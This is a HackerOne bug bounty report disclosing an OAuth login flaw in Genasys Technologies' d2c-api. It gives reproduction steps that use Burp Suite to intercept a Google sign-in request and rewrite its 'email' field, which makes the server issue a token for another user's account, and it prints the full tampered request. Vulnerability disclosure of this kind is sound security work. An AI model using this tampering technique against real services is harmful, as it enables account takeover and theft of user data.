Genasys Technologies: Ability to bypass social OAuth and take over any account [d2c-api]

ID H1:729960
Type hackerone
Reporter aaron_costello
Modified 2019-12-24T16:42:58



An attacker is able to login to any email account (that doesn't belong to him) through using the OAuth functionality (

Steps To Reproduce:

  1. Register an account with an email and verify it using the one time code that is asked upon registration, I registered ██████
  2. Go to, as this will log you out if you're logged in
  3. Open Burp Suite and go to the log in page, make sure you have intercept requests 'on'
  4. Choose 'Sign-in using Google'
  5. Click 'Forward' on all requests until you can select a Gmail account. Then select one belonging to a different email (I chose ████████)
  6. Keep forwarding the request until you see the request like below:

``` POST /d2c-api/v1/account/login/provider HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Content-Type: application/json-patch+json Content-Length: 1344 Cookie: ASP.NET_SessionId=thu1bqkkwmat143llht2ese1 Connection: close

{"provider":"google","email":"███","emailVerified":true,"providerAccessToken":"eyJhbGciOiJSUzI1NiIsImtpZCI6IjVkY2U3ZTQxYWRkMTIxYjg2ZWQ0MDRiODRkYTc1NzM5NDY3ZWQyYmMiLCJ0eXAiOiJKV1QifQ.█████████.Aopb3FMRiHFNyP-MIZpRWKA9Lm4oJey-vWBlZbodqHTysWO1nlQzZPIAIsyypQ-eL6xKm3cT1Jjfa3OHEm7GNkOIuDl_--AjLV6cD8LN0WA6hq5Z8QaCevalcUBxyW3SKgku8NBP2DJLu_j9mIyy28wv5XfQzus14gmq4HIK4loRUxmdwd7xxHm0SHKw8N8FT6RIhIHCuMXtl7E6dUcTbS160wGJIyC18dn_elp8dE1XvDZQJpd-9I5sBAuc9pibEA1veub1gClFlpTJCLWmiZ4doa46ssvUDKB5e56WsI96FQqwmyKwX1uMVgWhWHERA9vHCkPmxJEuysGhaXvW_A","firstName":"Herald","lastName":"Big Deck"} ```

  1. Edit the request by changing the "email" value to your account from step 1 (In my case ███████) and "emailVerified" is true
  2. The application will give you a JWT Authz token bound to ██████ instead of █████████

Supporting Material/References:



An attacker can takeover any registered account.